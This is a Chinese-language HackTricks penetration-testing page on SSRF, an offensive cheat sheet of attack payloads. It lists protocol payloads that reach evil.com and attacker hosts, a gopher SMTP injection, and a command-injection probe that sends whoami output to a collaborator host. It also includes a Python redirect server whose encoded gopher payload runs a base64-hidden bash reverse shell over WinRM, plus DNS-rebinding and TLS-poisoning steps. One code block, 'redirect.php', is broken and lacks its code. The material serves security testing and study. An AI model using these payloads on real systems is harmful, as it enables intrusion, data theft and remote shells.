# SSRF (服务器端请求伪造)
\ 使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建并**自动化工作流程**,由世界上**最先进的**社区工具提供支持。\ 立即获取访问权限: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 您在**网络安全公司**工作吗?您想在**HackTricks**中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列 * 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com) * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
服务器端请求伪造(也称为SSRF)是一种网络安全漏洞,它允许攻击者**诱导服务器端应用程序向攻击者选择的任意域名发起HTTP请求**。(来源:[这里](https://portswigger.net/web-security/ssrf)) ## 捕获SSRF 您需要做的第一件事是捕获由您引发的SSRF交互。要捕获HTTP或DNS交互,您可以使用以下工具: * **Burpcollab** * [**pingb**](http://pingb.in) * [**canarytokens**](https://canarytokens.org/generate) * [**interractsh**](https://github.com/projectdiscovery/interactsh) * [**http://webhook.site**](http://webhook.site) * [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff) ## 绕过白名单域名 通常您会发现SSRF仅在**某些白名单域名**或URL中工作。在以下页面中,您有一个**尝试绕过该白名单的技术汇编**: {% content-ref url="url-format-bypass.md" %} [url-format-bypass.md](url-format-bypass.md) {% endcontent-ref %} ### 通过开放重定向绕过 如果服务器受到正确保护,您可以通过**利用网页内的开放重定向来绕过所有限制**。因为网页将允许**对同一域名进行SSRF**,并且可能会**遵循重定向**,您可以利用**开放重定向使服务器访问内部任何资源**。\ 阅读更多信息:[https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf) ## 协议 ### file:// ``` file:///etc/passwd ``` ### dict:// DICT URL方案用于引用使用DICT协议可用的定义或词汇列表: ``` dict://;@:/d::: ssrf.php?url=dict://attacker:11111/ ``` ### SFTP:// 一种通过安全外壳在网络上进行安全文件传输的协议 ``` ssrf.php?url=sftp://evil.com:11111/ ``` ### TFTP:// 简单文件传输协议,通过UDP工作 ``` ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET ``` ### LDAP:// 轻量级目录访问协议。它是一种应用协议,通过IP网络用于管理和访问分布式目录信息服务。 ``` ssrf.php?url=ldap://localhost:11211/%0astats%0aquit ``` ### Gopher:// 使用这个协议,你可以指定你希望服务器**发送**的**IP、端口和字节**。然后,你基本上可以利用SSRF与**任何TCP服务器通信**(但你需要先知道如何与服务通话)。\ 幸运的是,你可以使用[Gopherus](https://github.com/tarunkant/Gopherus)为几种服务创建有效载荷。此外,[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)可以用来为_Java RMI_服务创建_gopher_有效载荷。 **Gopher smtp** ``` ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a will make a request like HELO localhost MAIL FROM: RCPT TO: DATA From: [Hacker] To: Date: Tue, 15 Sep 2017 17:20:26 -0400 Subject: Ah Ah AHYou didn't say the magic word ! . QUIT ``` **Gopher HTTP** ```bash #For new lines you can use %0A, %0D%0A gopher://:8080/_GET / HTTP/1.0%0A%0A gopher://:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body ``` **Gopher SMTP — 回连至 1337** {% code title="redirect.php" %} ```php Now query it. https://example.com/?q=http://evil.com/redirect.php. ``` {% endcode %} ### SMTP 来自 [https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/har1sec/status/1182255952055164929):\ 1\. 通过SSRF连接smtp localhost:25\ 2\. 从第一行获取内部域名 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail\ 3\. 在github上搜索[ http://internaldomain.com ](https://t.co/K0mHR0SPVH),找到子域名\ 4\. 连接 ### Curl URL globbing - WAF绕过 如果SSRF是通过**curl**执行的,curl有一个叫做[**URL globbing**](https://everything.curl.dev/cmdline/globbing)的功能,可以用来绕过WAFs。例如,在这个[**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)中,你可以找到一个通过`file`协议的**路径遍历**的例子: ``` file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} ``` ## 捕获SSRF请求 * Burp Collaborator * [http://requestrepo.com/](http://requestrepo.com/) * [https://app.interactsh.com/](https://app.interactsh.com/) * [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness) * [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - 使用ngrok的Burp Collaborator ## 通过Referrer头部实现SSRF 一些应用程序使用服务器端分析软件来跟踪访客。这类软件经常记录请求中的Referrer头部,因为这对于跟踪进站链接特别有用。通常,分析软件会实际访问出现在Referrer头部的任何第三方URL。这通常是为了分析引用站点的内容,包括用于进站链接的锚文本。因此,Referer头部通常代表SSRF漏洞的丰富攻击面。\ 为了发现这类“隐藏”的漏洞,你可以使用Burp的插件“**Collaborator Everywhere**”。 ## 通过证书的SNI数据实现SSRF 允许你连接到任意后端的最简单配置错误可能看起来像这样: ```nginx stream { server { listen 443; resolver 127.0.0.11; proxy_pass $ssl_preread_server_name:443; ssl_preread on; } } ``` ```markdown 在这里,SNI 字段值直接用作后端的地址。 通过这种不安全的配置,我们可以**仅通过在 SNI 字段中指定所需的 IP 或域名来利用 SSRF 漏洞**。例如,以下命令将强制 Nginx 连接到 _internal.host.com_: ``` ```bash openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf ``` ## [Wget 文件上传](../file-upload/#wget-file-upload-ssrf-trick) ## 带命令注入的 SSRF 尝试如下载荷:`` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` ## PDF 渲染 如果网页自动使用您提供的信息创建 PDF,您可以**插入一些 PDF 创建器**(服务器)在创建 PDF 时将执行的 JS,从而滥用 SSRF。[**在这里找到更多信息**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**。** ## 从 SSRF 到 DoS 创建多个会话并尝试利用 SSRF 从会话中下载大文件。 ## SSRF PHP 函数 {% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} [php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md) {% endcontent-ref %} ## SSRF 重定向到 Gopher 对于某些利用,您可能需要**发送重定向响应**(可能使用不同的协议,如 gopher)。这里有不同的 python 代码来响应重定向: ```python # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes from http.server import HTTPServer, BaseHTTPRequestHandler import ssl class MainHandler(BaseHTTPRequestHandler): def do_GET(self): print("GET") self.send_response(301) self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a") self.end_headers() httpd = HTTPServer(('0.0.0.0', 443), MainHandler) httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True) httpd.serve_forever() ``` ```python from flask import Flask, redirect from urllib.parse import quote app = Flask(__name__) @app.route('/') def root(): return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301) if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ```
\ 使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建并**自动化工作流程**,由世界上**最先进**的社区工具提供支持。\ 立即获取访问权限: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## DNS Rebidding CORS/SOP 绕过 如果您在尝试从本地 IP **泄露内容**时遇到**CORS/SOP**的**问题**,可以使用 **DNS Rebidding** 来绕过这一限制: {% content-ref url="../cors-bypass.md" %} [cors-bypass.md](../cors-bypass.md) {% endcontent-ref %} ### 自动化 DNS Rebidding [**`Singularity of Origin`**](https://github.com/nccgroup/singularity) 是一个执行 [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) 攻击的工具。它包含了将攻击服务器 DNS 名称的 IP 地址重新绑定到目标机器的 IP 地址,并向目标机器提供攻击载荷以利用目标机器上的脆弱软件所需的组件。 也可以查看在 [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html) 运行的**公共服务器**\*\*\*\* ## DNS Rebidding + TLS 会话 ID/会话票证 要求: * **SSRF** * **出站 TLS 会话** * **本地端口上的内容** 攻击: 1. 让用户/机器人**访问**由**攻击者**控制的**域名** 2. **DNS** 的 **TTL** 是 **0** 秒(这样受害者很快会再次检查域名的 IP) 3. 在受害者和攻击者域名之间建立了一个 **TLS 连接**。攻击者在**会话 ID 或会话票证**中引入**载荷**。 4. **域名**将开始对**自身**进行**无限循环**的重定向。目的是让用户/机器人访问域名,直到它**再次**进行域名的**DNS 请求**。 5. 在 DNS 请求中现在给出了一个**私有 IP** 地址(例如 127.0.0.1) 6. 用户/机器人将尝试**重新建立 TLS 连接**,为此它将**发送** **会话** ID/票证 ID(其中包含攻击者的**载荷**)。所以恭喜你,你设法让**用户/机器人攻击自己**。 请注意,在此攻击期间,如果您想攻击 localhost:11211(_memcache_),您需要让受害者与 www.attacker.com:11211 建立初始连接(**端口必须始终相同**)。\ 要**执行此攻击,您可以使用工具**:[https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ 有关**更多信息**,请查看解释此攻击的演讲:[https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference) ## 盲 SSRF 盲 SSRF 与非盲 SSRF 的区别在于,在盲 SSRF 中,您无法看到 SSRF 请求的响应。因此,更难利用,因为您只能利用已知的漏洞。 ### 基于时间的 SSRF **检查服务器响应的时间**,可能**知道资源是否存在**(访问存在的资源可能比访问不存在的资源需要更多时间) ## 云 SSRF 利用 如果您在云环境内运行的机器上发现 SSRF 漏洞,您可能能够获取有关云环境的有趣信息,甚至是凭据: {% content-ref url="cloud-ssrf.md" %} [cloud-ssrf.md](cloud-ssrf.md) {% endcontent-ref %} ## 容易受到 SSRF 攻击的平台 已知的几个平台包含或曾包含 SSRF 漏洞,请在以下位置查看: {% content-ref url="ssrf-vulnerable-platforms.md" %} [ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md) {% endcontent-ref %} ## 工具 ### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap) 用于检测和利用 SSRF 漏洞的工具 ### [Gopherus](https://github.com/tarunkant/Gopherus) * [关于 Gopherus 的博客文章](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) 此工具生成 Gopher 载荷,用于: * MySQL * PostgreSQL * FastCGI * Redis * Zabbix * Memcache ### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [关于 SSRF 使用的博客文章](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/) _remote-method-guesser_ 是一个 _Java RMI_ 漏洞扫描器,支持对最常见的 _Java RMI_ 漏洞进行攻击操作。大多数可用操作支持 `--ssrf` 选项,以生成请求操作的 _SSRF_ 载荷。结合 `--gopher` 选项,可以直接生成现成的 _gopher_ 载荷。 ### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy) SSRF Proxy 是一个多线程 HTTP 代理服务器,旨在通过易受服务器端请求伪造(SSRF)攻击的 HTTP 服务器隧道客户端 HTTP 流量。 ### 练习 {% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %} ## 参考资料 * [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) * [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 如果您在**网络安全公司**工作?您想在 HackTricks 中看到您的**公司广告**?或者您想要访问**PEASS 最新版本或下载 HackTricks 的 PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现 [**The PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏 * 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * 通过向 [**hacktricks repo**](https://github.com/carlospolop/hacktricks) 和 [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来**分享您的黑客技巧**。
\ 使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建并**自动化工作流程**,由世界上**最先进**的社区工具提供支持。\ 立即获取访问权限: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}